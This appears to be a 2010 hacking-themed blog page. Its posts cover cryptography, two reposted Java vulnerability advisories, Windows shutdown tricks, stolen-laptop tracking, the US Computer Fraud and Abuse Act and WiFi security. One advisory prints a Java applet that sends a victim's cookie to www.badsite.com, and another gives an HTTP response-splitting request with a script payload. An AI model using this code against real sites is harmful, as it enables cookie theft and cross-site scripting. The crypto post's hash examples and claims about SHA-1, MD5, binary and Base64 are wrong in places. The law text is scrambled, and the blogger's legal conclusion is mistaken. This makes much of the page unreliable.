IP

Tuesday, December 14, 2010

What is Cryptography

This is an article over some common forms of encryption and some examples of what they look like.
 
Cryptography-
 Cryptography is often associated to encryption, or hiding information from others except the desired party. This usually involves having a certain knowledge of the encryption, also known as a key. This has been used for centuries by military and governments to hide and transfer data. For example, In ancient days, One King would shave a subjects head, then tattoo the message on the subjects head. This way the subject did not know what the message was either. Then, after his hair grew back, he would be sent to the other king and his head would be shaved, then when the king had the message, the subject was killed and the message was disposed of. So, step by step this is the general way an encryption works. First, find a viable way to hide the message. Second, Find a safe way to transport the message and, third decrypt the message. Now inside of each step there is a good amount of detail.

Encrypting the message-
 There are many common ways to encrypt data. For instance, a shift cipher. In shift cipher you shift each letter a certain amount of letters in the alphabet. EXAMPLE: In a cipher with a key of one, you would switch each letter one letter in the alphabet. So A would become B, and a word like HIDDEN would become IJEEDO. Thus rendering the message illegible. Now the reason you would not want to use a simple shift cipher is because of how easy it is to "crack" the encryption. "Cracking" an encryption is basically brute forcing the key, or by gaining the key through other means such as: Trojans, Social Engineering or one of the other many ways. As for our shift cipher, also known as a "caeser cipher" if it is a shift of three or as ROT-13 if it is a 13 letter shift, It would be very easy to just decrypt the message by hand or to write a simple program that can decrypt the massage in mere moments.


The Difference Between Hashing And Encrypting-
 Encryption is a scheme where an plaintext is made into ciphertext using a secure key. The security of the ciphers reside in the key length and decryption process is a difficult without proper knowledge of the key.

As for hashing, The best way to describe a has is a one-way function that compresses arbitrary length strings into fixed short strings. Hashes can be designed using block ciphers using a secret key as a parameter along with the message that has to be hashed or with out them (dedicated hash functions MD4,MD5,SHA-1 etc..).

Here I will describe a few common hashes, Along with why the are not secure, And some examples of what they look like.

 MD5 (Message-Digest algorithm 5)-
 MD5 was created in 1991 in order to replace the less secure MD4. Although a serious flaw was found in this form of encryption it is still widely used. Cryptographers Suggest the use of more secure algorithms such as SHA-1, or WhirlPool. MD5 is a 128 but hash which makes it rather small and thus makes it vulnerable to the birthday attack (which I will include at the end). The algorithm for MD5 is also open source which makes this form of encryption rather easy to break. Not only those but Md5 hashes are also vulnerable to man-in-the-middle attacks, and gain the first three characters, Enabling easier brute forcing on the hash.

 Here are some examples of An MD5 hash:
 Hidden: 662f707d5491e9bce8238a6c0be92190
 Hellboundhackers: 07113826bfa7f58ef0ccf537ab9b5d0e

And here is the psudocode for it

 Source: Wikipedia
 //Note: All variables are unsigned 32 bits and wrap modulo 2^32 when calculating
 var int[64] r, k

//r specifies the per-round shift amounts
 r[ 0..15] := {7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22}
 r[16..31] := {5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20}
 r[32..47] := {4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23}
 r[48..63] := {6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21}

//Use binary integer part of the sines of integers (Radians) as constants:
 for i from 0 to 63
 k[i] := floor(abs(sin(i + 1)) × (2 pow 32))

//Initialize variables:
 var int h0 := 0x01234567
 var int h1 := 0x89ABCDEF
 var int h2 := 0xFEDCBA98
 var int h3 := 0x76543210

//Pre-processing:
 append "1" bit to message
 append "0" bits until message length in bits = 448 (mod 512)
 append bit /* bit, not byte */ length of unpadded message as 64-bit little-endian integer to message

//Process the message in successive 512-bit chunks:
 for each 512-bit chunk of message
 break chunk into sixteen 32-bit little-endian words w[i], 0 = i = 15

//Initialize hash value for this chunk:
 var int a := h0
 var int b := h1
 var int c := h2
 var int d := h3

//Main loop:
 for i from 0 to 63
 if 0 = i = 15 then
 f := (b and c) or ((not b) and d)
 g := i
 else if 16 = i = 31
 f := (d and b) or ((not d) and c)
 g := (5×i + 1) mod 16
 else if 32 = i = 47
 f := b xor c xor d
 g := (3×i + 5) mod 16
 else if 48 = i = 63
 f := c xor (b or (not d))
 g := (7×i) mod 16

temp := d
 d := c
 c := b
 b := b + leftrotate((a + f + k[i] + w[g]) , r[i])
 a := temp

//Add this chunk's hash to result so far:
 h0 := h0 + a
 h1 := h1 + b
 h2 := h2 + c
 h3 := h3 + d

var int digest := h0 append h1 append h2 append h3 //(expressed as little-endian)


 SHA-1 -
 SHA stands for Secure Hash Algorithm. This algorithm makes a 160 but algorithm. SHA-1 is only one of the many SHA-* styles, but it the most common and most secure. Some other SHA styles are: SHA-224, SHA-256, SHA-384, and SHA-512. These make a hash that is the amount of bits in their name. For example, SHA-224 is a 224 bit hash. The reason that this form of encryption is insecure is because a modified version of a collision attack can be performed and through this method you can get up to a quarter of the hash into plaintext. Thus making it cracked in principle.

Here are some examples of SHA hashes:

Hidden- 7acdf85c69cc3c5305456a293524386e
 Hellboundhackers- 07113826bfa7f58ef0ccf537ab9b5d0e

SHA-2 and the others have no attacks reported, but SHA-1 has an attack based on a mathematical system that allows it to be cracked. Even though the others have no reported attacks, SHA-3 is in the making. This one will be the standard SHA in 2012, after the competition is over. This competition takes place from 2008-2011.


Common Encryption:

Binary-
 Binary is a base-2 "language" used in computing to specify either on (1), or off (0). This was commonly used to make plaintext hidden from most people. Binary uses an 8-bit per character format that is very easily noticed by almost anyone, considering that is consist solely of 0's and 1's. These can be easily broken with a copy of any ASCII chart or a very easily written program. One other reason that it is not used, besides its insecurities, is the fact of how much space it takes to store a binary encryption, and how long it takes to encrypt things into binary. Think of it this way, For every one character of plaintext, there are 8 in binary. This means a relative large file will not only take a long time to encrypt, It will also be a massive file to transfer.

 DES -

DES is based on a symmetrical key algorithm that has a 56 bit key. Now this is the chief reason that this form of encryption is so insecure is the rather small size of the key. There are public programs that can break a DES encryption in 22 hours and 15 minutes. These have made the US along with many other countries turn to more secure means of encryption.

Examples:

Hidden: CREAE8aHr13jY
 Hellboundhackers: CRNg1HW8ckWJk

Base 64- Base 64 uses 64 printable ASCII characters to encrypt data. The characters are A-Z, a-z, and 0-9. Then The other two vary from OS to OS. Sometimes this also includes a suffix of an = operator. Base 64 is often very easily identified and can easily be deciphered with an easily accessible algorithm to decrypt it.

Hidden: SGlkZGVuIA==
 Hellboundhackers: SGVsbGJvdW5kaGFja2Vycw==

And there are many many others.

Creating your own:

So you think you may want to create a more secure encryption method? Well your in for a surprise at how challenging it really is. First you have to come up with your encryption style... rather it be algorithm based or something else. Then, you must decide on transferring the Key and how. This must also be secure. Then on decrypting the cipher.
 Well one problem you will face is what is a secure algorithm and what is not. The more advanced the algorithm does not mean a more secure encryption. Also another problem is how fast the program can do the algorithm. An advanced algorithm may be secure, but if it takes three days to decrypt with the key, Is it worth using? And then with the key, there are a few ways to transfer the key safely. One way is like the spy movie, a guy with a briefcase handcuffed to his wrist. A more feasible way would be to meet the person and exchange it. or you could just use a more common encryption method and send it to them in e-mail. Or one last slow way would be to Mail them the key. Either way you must decide how you will keep it secure on the way.

 Some common attacks on cryptography:

DoS-
 DoS (Denial of Service) attacks are when someone tries to make a service or action incapable of usage. One very unlikely method, But possible, would be cutting the victims internet cable. This renders them incapable of accessing the said source. Although this attack is usually used on a web-server, this can also be used to stop an encryption from ever reaching its intended party. Another way this attack could be carried out would be to send a server a massive amount if request, and keeping the server busy.

Man In The Middle (MITM)-
 MITM is where the attacker makes a connection with the host then passes the message to the other host, making them believe that they are talking directly to each other over a private connection although the conversation is controlled solely by the attacker. The attacker then would intercept messages and send new ones.


 Birthday Attack-
 In this attack you use mathematics to exploit collisions. This is a rather formidable attack because of how efficient it is, especially if the function hold a lot of matches in the psudorandom lookup of matches in collisions.

Cryptanalysis-
 cryptanalysis is also known as code breaking or cracking a code. Although this does not necessarily imply encryption, it is one major part of cracking. this form usually excludes attacks such as the ones mentioned above, social engineering, burglary, or keylogging. In the past one way to crack an encryption was to use a frequency analysis, or seeing what type of characters appear most. For instance the letter "E" is the most common in English, and the digraph "TH" is the most common. In practice it relies on as much linguistic knowledge as it does statistics. As encryption got more and more detailed, mathematics became more of a major player in cracking. In modern times the advanced computations in an encryption have made cryptanalysis less of a key player, than in the past when pen-and-paper encryptions were used.
 So in order to sum this up, I will use this quote.
 "Breaking a cipher simply means finding a weakness in the cipher that can be exploited with a complexity less than brute force. Never mind that brute-force might require 2^128 encryptions; an attack requiring 2^110 encryptions would be considered a break...simply put, a break can just be a certificational weakness: evidence that the cipher does not perform as advertised." (Schneier, 2000).

Monday, December 13, 2010

JRE - java.net.URLConnection class – Same-of-Origin Policy Bypass



Security-Assessment.com discovered that a Java Applet making use of java.net.URLConnection class can be used to bypass same-of-origin (SOP) policy and domain based security controls in modern browsers when communication occurs between two domains that resolve to the same IP address. This advisory includes a Proof-of-Concept (PoC) demo and Java Applet source code. This demonstrates how the security vulnerability can be exploited to leak cookie information to an unauthorised domain, which resides on the same host IP address.

Exploitation

The Flash movie demo can be viewed at the following link:
http://www.security-assessment.com/files/advisories/java_net_urlconnection_sop_bypass_demo.swf

The Proof of Concept (PoC) demonstrates that a Cross Site Request Forgery (XSRF) attack can be leveraged by using a Java Applet which implements the java.net.URLConnection class. Traditionally, XSRF is used to force a user to perform an unwanted action on a target web site. In this case, the PoC shows that XSRF can be used to capture sensitive information such as a cookie related to a target web site.

The following assumptions are made in this PoC:

1. The virtual hosts www.targetsite.net and www.badsite.com resolve to the same IP address;
2. A malicious user controls www.badsite.com web site;
3. A malicious user targets www.targetsite.net users.

The following table summarises the sequence of actions shown in demo:
1 User has a valid cookie for www.targetsite.net
2 The same user visits www.badsite.com which performs a cross site forged
  request to www.targetsite.net . The forged request is performed by a Java
  Applet embedded on the malicious site. The Java Applet bypasses the Same-of-
  Origin policy (SOP) as an unsigned Java Applet should not be able to communica
  from www.badsite.com to www.targetsite.net without a crossdomain.xml
  policy file.
3 Java Applet performs first GET request to www.targetsite.net. At this stage, th
  Java Applet already controls the Cookie: header sent to www.targetsite.net
  through the getRequestProperty("cookie") method. This is in breach with SOP.
4 A second request is done for the purpose of the demo which leaks
  www.targetsite.net cookie’s to www.badsite.com via an HTTP GET request.


Testing was successfully performed using Java(TM) SE Runtime Environment (build 1.6.0_21-b07) and the following browsers (all Windows XP):

Mozilla Firefox 3.5.8
Opera 10.60
Internet Explorer 6.0.2900.5512
Google Chrome 5.0.375.9
Internet Explorer 8.0.6001.18702
Safari 5.0 (7533.16)

MaliciousJavaApplet.java:

import java.awt.*;
import java.io.*;
import java.net.*;
public class MaliciousJavaApplet extends java.applet.Applet {
    TextArea messageLog = new TextArea(4, 40);
    public void init() {
      setLayout(new BorderLayout());
      add("Center", messageLog);
    }
    public void start() {
      try {
                             URL url = new URL("http://www.targetsite.net/default.html");
                             URLConnection connection;
                             String inputLine;
                             BufferedReader inReader;
          connection = url.openConnection();
                             connection.setAllowUserInteraction(false);
                             connection.setDoOutput(true);
                             messageLog.append("Request Property
"+connection.getRequestProperty("cookie")+"\n");
                             messageLog.append("File read from URL " + url + ":\n");
          inReader = new BufferedReader(
                   new InputStreamReader(connection.getInputStream()));
          while (null != (inputLine = inReader.readLine())) {
             messageLog.append(inputLine + "\n");
          }
          inReader.close();
                             messageLog.append("Request Property
"+connection.getRequestProperty("cookie")+"\n");
                             String cookie;
                             cookie = connection.getRequestProperty("cookie");
                             URL url2 = new
URL("http://www.badsite.com/default.html?cookie="+cookie);
                             URLConnection connection2;
                             String inputLine2;
                             BufferedReader inReader2;
          connection2 = url2.openConnection();
                             connection2.setAllowUserInteraction(false);
                             connection2.setDoOutput(true);
                             inReader2 = new BufferedReader(
                   new InputStreamReader(connection2.getInputStream()));
          while (null != (inputLine2 = inReader2.readLine())) {
             messageLog.append(inputLine2 + "\n");
          }
          inReader2.close();
      }
      catch (IOException e) {
          System.err.println("Exception: " + e);
  }
}
}


Solution

Oracle has created a fix for this vulnerability which has been included as part of Critical Patch Update Advisory - October 2010. Security-Assessment.com recommends all users of JRE and JDK to upgrade to the latest version as soon as possible. For more information on the new release of JRE/JDK please refer to the release notes:
http://www.oracle.com/technetwork/java/javase/downloads/index.html

Oracle Sun Java System Web Server - HTTP Response Splitting





Oracle Sun Java System Web Server - HTTP Response Splitting


Description

Security-Assessment.com discovered that is possible to successfully perform an HTTP Response Splitting attack against applications served by Sun Java System Web Server. The vulnerability can be exploited if user supplied input is used to generate the value of an HTTP header, as shown in the test.jsp page below:

test.jsp – Source Code

<html>
test
<%
response.setStatus(HttpServletResponse.SC_OK);
String ref = request.getParameter("ref");
response.setHeader("Referer",ref);
%>

The test.jsp page is vulnerable to HTTP response splitting when served by Sun Java System Web Server. HTTP Response Split can lead to Cross Site Scripting and browser cache poisoning attacks.

Exploitation

In this advisory, we will cover description of a Cross Site Scripting attack. The following HTTP GET contains a Cross Site Scripting payload which is included in the HTTP Header injection:

GET /test.jsp?ref=http://my.test.domain.com/%0D%0AContent-
type:+text/html;%0D%0A%0D%0ATEST%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1

By inserting CR and LF characters in the “ref” HTTP parameter, it is possible to split the HTTP response from the server as shown in the following table:

HTTP/1.1 200 OK
Server: Sun-Java-System-Web-Server/7.0
Date: Fri, 28 May 2010 12:44:55 GMT
Referer: http://my.test.domain.com/
Content-type: text/html;
TEST<script>alert(1)</script>
Content-type: text/html;charset=ISO-8859-1
Content-length: 22
<html>
test


The above example shows a JavaScript code injection in the split HTTP response. Consequently, it is possible to perform a Cross Site Scripting attack. The testing was conducted using the following settings:
* Server side: Sun-Java-System-Web-Server/7.0 Update 8 (default) installed on Windows XP SP3;
* Client side: Mozilla Firefox 3.5.8, Opera 10.10, Internet Explorer 8.


Solution
Oracle has created a fix for this vulnerability which has been included as part of Critical Patch Update Advisory - October 2010. Security-Assessment.com recommends all users of Sun Java System Web Server to upgrade to the latest version as soon as possible. For more information on the new release of patch for Sun Java System Web Server refer to the release notes:
http://sunsolve.sun.com/search/document.do?assetkey=1-79-1215353.1-1
http://www.oracle.com/technetwork/topics/security/cpuoct2010-175626.html#AppendixSUNS

Sunday, December 12, 2010

SHUT DOWN AND RESTART YOUR PC IN LESS THAN A SECOND

RESTART YOUR PC IN LESS THAN A SECOND











Computer takes a lot of time for restart.  
We need to restart our computer, everytime we install some software but when we   have limited time and we are busy then it is very annoying to wait for it to restart.Its quite irritating.


So here is solution for this problem. In that case you need not to restart your computer but you can restart your windows without restarting computer. It will take very less time.In fact no time.

To restart windows without restarting computer you just need to press  "Shift " key down while clicking on  restart button.(shift+restart )

Your computer would restart without restarting the Computer.

Restart Windows without Restarting PC, this term is known as Hot Booting.



SHUT DOWN YOUR COMPUTER IN 5 SECONDS 

YES YOU CAN SHUTDOWN YOUR COMPUTER IN LESS THAN 5 SECONDS.
PREVIOUSLY YOU HAD YOU WAIT FOR OVER 30 SECONDS BEFORE YOUR COMPUTER SHUTDOWN.
BUT HERES A TRICK WHEN YOU CAN ACTUALLY SHUTDOWN UR PC IN LESS THAN 5 SECS.

SIMPLE WHEN YOU WISH TO SHUTDOWN JUST DO THIS:

1)CLIK :ALT+CLT+DEL.THIS OPENS YOUR TASK MANAGER.
2)IN TASK MANAGER  CLIK ON SHUTDOWN HIGHLIGHTED INRED.




3)NOW SCROLL DOWN AND ----PRESS CLT WITH ONE HAND AND CLIK TURN OFF TOGETHER.


COOL YOUR COMPUTER GETS SHUTDOWN IN LESS THAN 5 SECONDS.

but but one problem it works only in windows xp and older versions of windows,.............. :)

 


How to Track Stolen Laptops With a .mac or IP Address

By Carla Boulianne, 
Track Stolen Laptops With a .mac or IP Address



Computrace LoJack for Laptops states that more than 600,000 personal computers are stolen each year. When a laptop disappears at an airport or coffee shop, the greatest chance of recovery comes from preplanning. Installation of antitheft software offers more protection than trying to track stolen laptops with a .mac or IP address. Protect expensive equipment, personal information and confidential data by practicing prevention.



Instructions
  • Things You'll Need:
  • Tracking software
  • How to Track a Stolen Laptop With a .mac Address

Things You'll Need:


1
Notify your network administrator of the theft. Locating a stolen laptop using a .mac address isn't possible unless the thief gets on the same LAN. This makes recovery unlikely with the exception of a computer used on a college network. The likelihood is much higher if the thief is a student who will log on to the university network with the stolen laptop. In such a case, let the network administrator know of the theft. Supply the .mac address and the network administrator can watch for the laptop to log on to the network.
2
Forget about tracking a stolen laptop over the Internet using a .mac address. Tracking a stolen laptop using a .mac address is not possible over the World Wide Web. This second-level information is not passed through the router to the third-level ISP (Internet service provider).
3
Increase your chances of recovery by preinstalling antitheft software that "phones home" to a service provider or open source software such as Adeona. This allows the original owner to gain IP address information without contracting with a third party such as LoJack.
How to Track a Stolen Laptop With an IP Address


How to Track a Stolen Laptop With an IP Address


1
Contact your ISP (Internet service provider) to see if the thief has accessed the Internet using your service. The ISP issues a location-specific IP address when a computer accesses the Internet. If the owner of a stolen laptop obtains an IP address assigned to her computer since the theft, then the police can track its location.
2
Investigate whether programs such as Yahoo! Messenger or email software that automatically logs on at boot-up are still being accessed. Contact the service provider with appropriate police report documentation and a subpoena to obtain a recent IP address for a stolen laptop.
3


Install Antitheft Software to Track a Stolen Laptop IP Address


Use preinstalled antitheft clients to obtain a recent IP address for the stolen laptop. Supply the IP information to law enforcement.
Install Antitheft Software to Track a Stolen Laptop IP Address
1
Contract with a third party for antitheft protection. Computrace LoJack for Laptops offers a three-year antitheft guarantee for its software. Buyers subscribe to a service that uses installed BIOS firmware to track a stolen computer and supply recovery information to the police. Computrace LoJack claims to recover three out of four stolen laptops using its service.
2
Download and install an open source antitheft client. Adeona is a university-developed open source alternative to tracking services. There is no charge to install the software, which monitors and stores location data. Adeona claims superior privacy protection, as only the owner is able to access location data.
3
Check manufacturer service plans for theft protection details or call customer support. Some computer manufacturers, such as Dell, offer tracking, recovery and data deletion for stolen laptops.




Track a Stolen Laptopwww.LoJackForLaptops.com
Track Down Your Stolen Laptop LoJack for Laptops. Official Site.


Intel Anti-Theft SecurityIntel.com/AntiTheft
Learn How Advanced Features Make PC Security More Intelligent Than Ever


IP Management Toolwww.Netcordia.com
Automate Network Change & Configuration, Try NetMRI for Free.


SONY VAIO - Official Sitewww.SonyStyle.com/VAIO
Smart performance w/Intel® Core™ i7 processor laptops. Free shipping.





  • Install tracking software on all laptops, as .mac addresses are rarely useful in recovery, and gaining a subpoena for an IP address is challenging.
  • Third parties may access the tracking information recorded by services such as Computrace LoJack to moniter a laptop owner's movements.




VIDEO :

Netstat Tutorial



How-to: Use NETSTAT.EXE to detect spyware/malware

Hacking laws, Computer Fraud and Abuse Act-USA

Hacking laws according to the US laws(Computer Fraud and Abuse Act) states,



hacking law 1




1. Having knowingly accessed a computer without authorization or exceeding authorized access, and by means of such conduct having obtained information that has been determined by the United States Government pursuant to an Executive order or statute to require protection against unauthorized disclosure for reasons of national defense or foreign relations, or any restricted data, as defined in paragraph y of section 11 of the Atomic Energy Act of 1954, with reason to believe that such information so obtained could be used to the injury of the United States, or to the advantage of any foreign nation, willfully communicates, delivers, transmits, or causes to be communicated, delivered, or transmitted, or attempts to communicate, deliver, transmit or cause to be communicated, delivered, or transmitted the same to any person not entitled to receive it, or willfully retains the same and fails to deliver it to the officer or employee of the United States entitled to receive it;


hacking law 2


2. intentionally accesses a computer without authorization or exceeds authorized access, and thereby obtains--


A. information contained in a financial record of a financial institution, or of a card issuer as defined in section 1602(n) of title 15, or contained in a file of a consumer reporting agency on a consumer, as such terms are defined in the Fair Credit Reporting Act (15 U.S.C. 1681 et seq.);


B. information from any department or agency of the United States; or


C. information from any protected computer if the conduct involved an interstate or foreign communication;


hacking law 3


3. intentionally, without authorization to access any nonpublic computer of a department or agency of the United States, accesses such a computer of that department or agency that is exclusively for the use of the Government of the United States or, in the case of a computer not exclusively for such use, is used by or for the Government of the United States and such conduct affects that use by or for the Government of the United States;






hacking law 4


4. knowingly and with intent to defraud, accesses a protected computer without authorization, or exceeds authorized access, and by means of such conduct furthers the intended fraud and obtains anything of value, unless the object of the fraud and the thing obtained consists only of the use of the computer and the value of such use is not more than $5,000 in any 1-year period;


A. knowingly causes the transmission of a program, information, code, or command, and as a result of such conduct, intentionally causes damage without authorization, to a protected computer;


B. intentionally accesses a protected computer without authorization, and as a result of such conduct, recklessly causes damage; or


C. intentionally accesses a protected computer without authorization, and as a result of such conduct, causes damage;


hacking law 5


5. knowingly and with intent to defraud traffics (as defined in section 1029) in any password or similar information through which a computer may be accessed without authorization, if--


a)trafficking affects interstate or foreign commerce; or such computer is used by or for the Government of the United States; with intent to extort from any person, firm, association, educational institution, financial institution, government entity, or other legal entity, any money or other thing of value, transmits in interstate or foreign commerce any communication containing any threat to cause damage to a protected computer; shall be punished as provided in subsection (c) of this section. (b) Whoever attempts to commit an offense under subsection (a) of this section shall be punished as provided in subsection (c) of this section. (c) The punishment for an offense under subsection (a) or (b) of this section is--


A. a fine under this title or imprisonment for not more than ten years, or both, in the case of an offense under subsection (a)(1) of this section which does not occur after a conviction for another offense under this section, or an attempt to commit an offense punishable under this subparagraph; and


B. a fine under this title or imprisonment for not more than twenty years, or both, in the case of an offense under subsection (a)(1) of this section which occurs after a conviction for another offense under this section, or an attempt to commit an offense punishable under this subparagraph; and


(A) a fine under this title or imprisonment for not more than one year, or both, in the case of an offense under subsection (a)(2), (a)(3), (a)(5)(C), or (a)(6) of this section which does not occur after a conviction for another offense under this section, or an attempt to commit an offense punishable under this subparagraph; and


i. the offense was committed for purposes of commercial advantage or private financial gain;ii. the offense was committed in furtherance of any criminal or tortious act in violation of the Constitution or laws of the United States or of any State; oriii. the value of the information obtained exceeds $5,000;


(B) a fine under this title or imprisonment for not more than 5 years, or both, in the case of an offense under subsection (a)(2), if--


(C) a fine under this title or imprisonment for not more than ten years, or both, in the case of an offense under subsection (a)(2), (a)(3) or (a)(6) of this section which occurs after a conviction for another offense under this section, or an attempt to commit an offense punishable under this subparagraph; and


(A) a fine under this title or imprisonment for not more than five years, or both, in the case of an offense under subsection (a)(4), (a)(5)(A), (a)(5)(B), or (a)(7) of this section which does not occur after a conviction for another offense under this section, or an attempt to commit an offense punishable under this subparagraph; and (B) a fine under this title or imprisonment for not more than ten years, or both, in the case of an offense under subsection (a)(4), (a)(5)(A), (a)(5)(B), (a)(5)(C), or (a)(7)of this section which occurs after a conviction for another offense under this section, or an attempt to commit an offense punishable under this subparagraph; and [former paragraph (4) stricken effective Oct. 11, 1996].


The United States Secret Service shall, in addition to any other agency having such authority, have the authority to investigate offenses under subsections (a)(2)(A), (a)(2)(B), (a)(3), (a)(4), (a)(5), and (a)(6) of this section. Such authority of the United States Secret Service shall be exercised in accordance with an agreement which shall be entered into by the Secretary of the Treasury and the Attorney General."
These hacking laws are not only for the US, but are also for the whole world since, the internet is globally connected and affects everyone on the globe.


hacking laws from other countries ought to be respected as well as the US laws, but as I explained earlier, the best computer fraud laws to know are that of the US because of popularity and many other reasons. Ethical hacking on the other hand is mostly carried out in a manner in which these laws won't be bent or broken. Computer problems associated with intrusion are mostly caused by black hat hackers


Based on these computer fraud laws, hacking can be a crime when, you access your friend or family member's computer with the intentions of defrauding him. Since no damage is caused nor the computer being hacked is a government property, its legal. ?????


Most people do not think of these hacking laws like that. The media and Hollywood portrays hacking as any access you make into a persons computer. Most hacking, especially ethical hacking, can not be classified as criminal acts but rather as problem solving

What is Wifi? How Does it Work Benefits Security Venerability




WHAT IS WiFi

WiFi, aka wireless fidelity is the way to connect devices together without wires.  It can be done in homes, businesses, between businesses etc.  WiFi offers a lot of advantages over LANS, but it does include disadvantages.



HOW DOES IT WORK

Wireless Internet Access has four components that form its structure: high-speed access, a networking gateway, a wireless network and a wireless customer.  The customer connects wirelessly through the wireless network to the gateway, it then launches their internet browser, authenticates through the gateway by entering a coupon code or purchasing time and the user has high-speed internet.

The four components are:

1)High-speed access which is also known as broadband is an internet connection which is generally faster than dial up service.  Examples of high-speed internet access are ISDN, cable modem, DSL, and also  satellite services.

2) Network Gateway is between your high-speed access connection and the wireless network, it acts like a gate.  This gate will prevent people from accessing your wireless network unless you know about it, the gateway also allows managing tools as well.  These can include authentication, network monitoring, and other services such as printing and voice over IP.

3) Wireless local area network is a system of connecting PC's and other devices within the same physical proximity using high-frequency radio waves instead of wires.  Wireless networks work as long as your wireless ready device is within range.

4) Wireless customers are people who have a PC and a wireless adapter which means they can access the internet wirelessly.  The wireless adapter can be built in or it can be an external device plugged into your computer.

 



WiFi, allows a universal internet connection to be broadcasted through radio waves.

Radio waves are what make WiFi exist and run.  They allow WiFi networking to occur between numerous people.  The radio waves are transmitted from antennas and routers and are picked up by WiFi receivers such as computers and cell phones equipped with WiFi cards.  When these devices receive a signal within the range of a WiFi network, the WiFi card then reads the signals and produces an internet connection without a cord.   Once a connection is established between user and the network , the user will be prompted with a login screen and password if it is fee based.

WiFi networking around the world is creating not spots in the cities where anyone with a laptop can wirelessly plug into the internet.  Hot spots are connection points for WiFi networks; areas where wireless internet is available for those who have internet ready devices.  Hot spots are becoming available everywhere, in restaurants, hotels, airports, schools, etc.

The following is a simple and understandable way to picture the way WiFi works.  The main source is the antenna; the antenna sends radio signals to the people who want to access the internet.  The people wanting access must have a Wife card; the Wife cards receives the radio signals through its' Wife receivers and creates a wireless connection.



Types of Wi-Fi networks


Enterprise Wi-Fi networks

An enterprise Wi-Fi network has multiple wireless access points to provide ubiquitous coverage, hotspot coverage, or ubiquitous and hotspot coverage. You can use a Wi-Fi enabled BlackBerry device in any coverage area.

You can configure an enterprise Wi-Fi network to require layer 2 authentication. An organization might consider an enterprise Wi-Fi network to be untrusted and require that all Wi-Fi connections to the organization's network occur through a VPN concentrator. You must configure Wi-Fienabled BlackBerry devices to support the authentication type that your organization uses.

An enterprise Wi-Fi network permits optimized access to the BlackBerry® Enterprise Server over a direct IP connection to the BlackBerry Router.

Home Wi-Fi networks

A home Wi-Fi network uses a single access point to provide Internet access through a broadband gateway. The broadband gateway can implement NAT and permit VPN connections through the firewall. You can configure a home Wi-Fi network with layer 2 security and password authentication. You must configure BlackBerry devices to support the authentication that the homeWi-Fi network requires.

A home Wi-Fi network permits users to access all BlackBerry services fromWi-Fi enabled BlackBerry devices using the BlackBerry® Infrastructure.

Hotspots

A hotspot offered by an ISP, a mobile network provider, or a property owner can provide a Wi-Fi connection in public and semipublic areas. The network can be an open network without layer 2 security and use a captive portal for authentication. The captive portal blocks all network traffic except traffic that uses HTTP and it redirects HTTP requests to a login page.

After a user logs in to the hotspot, the captive portal permits the user to access wireless network services.

Hotspots can use a firewall and they can permit VPN connections. A hotspot permits users to access all BlackBerry services from their Wi-Fi enabledBlackBerry devices using the BlackBerry Infrastructure.


BENEFITS OF WiFi
•Freedom of Movement

•Many compatible devices

Continuous connection to a network from a variety of sites.


•No wires = lower installation costs



HOW SECURE IS WiFi

            WiFi has had, and continues to have several security issues.  In September of 1999 WEP (Wired Equivalent Privacy) was the standard for wireless PC’s.  WEP is used in the physical and data link layers, and was designed to give wireless LANs the same security that wired LANs had.  WEP provided security by encrypting the data while it traveled from one end point to the other.  Unlike wired LANs who’s networks are usually inside of a building where it’s protected wireless LANs are more vulnerable due to the fact that the data travels over radio waves which are much easier to intercept.  Another reason WEP is vulnerable is because in some corporations the managers do not change the shared keys for months or years at a time.  That is way to long for the key to be in use, with that much time the key can get into the wrong hands, which could be disastrous for the corporation.

            In 2002 the wireless LANs security was upgraded when WiFi Protected Access (WPA) was introduced.  WPA had several improvements like better encryption, and it also used the RADIUS-based 802.1X, which authorizes the user to gain access to the ISP provider.   Also the setup for WPA was much simpler than the setup for WEP. WPA came in two types, Enterprise which was used for corporations, and also Personal which was used for home users.

            In June of 2004 802.11i was completed and became the new and current standard for WiFi.  802.11i is also known as WiFi Protected Access 2(WPA2).  WPA and WPA2 have several of the same qualities, but WPA2 upgraded its encryption of data with the Advanced Encryption Standard (AES).  There is a problem with AES however, and the problem is that this could require hardware upgrades for many wireless LANs. WPA2 is compatible with WPA products, and consumers can upgrade to WPA2 easily.  However WPA2 is not compatible with the original WiFi standard WEP.  Also like WPA, WPA2 has two versions, WPA2 Enterprise is for corporations, and WPA2 Personal is for the home users.

            Many corporations today use a Virtual Private Network (VPN) to send and receive important information.  Virtual Private Networks use the internet to send and receive information by creating a tunnel connecting the two end users.  VPN encrypts the data to keep any hackers from stealing the information while it is being sent.  To use a VPN the two end users must be using the same authentic protocol or it will not work.  The authentic protocol gives only certain users access to certain information.

            There are several other ways to protect your wireless computer and the information that is stored on it.  One of the first things you should do is to change the default information on your wireless router.  The reason for this is that many hackers have gained access to the default information from the different companies who create the wireless PC’s, which makes it easier for them to get into your computer information.  You should also have strong passwords on your wireless computers to keep the hackers from getting into your sensitive data.  Another way to protect yourself is to download firewalls onto your computer.  Firewalls monitor, and restrict the traffic that comes in and out of your computer.  Downloading anti-virus software onto your computer is another way to protect your computer.  You should update your anti-virus software often, because within one month there are at least 10 to 50 new viruses, or worms that the anti-virus software is not capable of protecting your computer against.  If you take your personal wireless computer out in public you should turn off your file sharing.  Keeping your file sharing on is an easy way for hackers to get into your system.  Also when you are not on your computer, you should turn it off.  This is the surest way to keep hackers out of your computer files.  They can’t get into the system if it’s not on.  There are several other ways that you can protect your sensitive data, but these are a few simple things that everyone should do to protect themselves, and their data.


Wifi Vulnerability

I've been thinking about the security vulnerability in WiFi network cards announced yesterday, and I'm starting to wonder if there's really all that much to this. The security hole was demonstrated on a MacBook with a third-party WiFi card installed, and was shown in a video tape rather than in a live demonstration. Very little additional information was given, other than that the bug was in the WiFi driver.
This strikes me as odder and odder the more I think about it.

To begin with, the hardware used is really unusual--probably less than one in ten thousand MacBooks will have a third party WiFi card installed, for the simple reason that all MacBooks come with built-in WiFi. The only reasons to have a third party card would be because the built-in WiFi broke (and the MacBook is a new machine, so they're all still under warranty), or because the user wants to connect to two networks simultaneously.

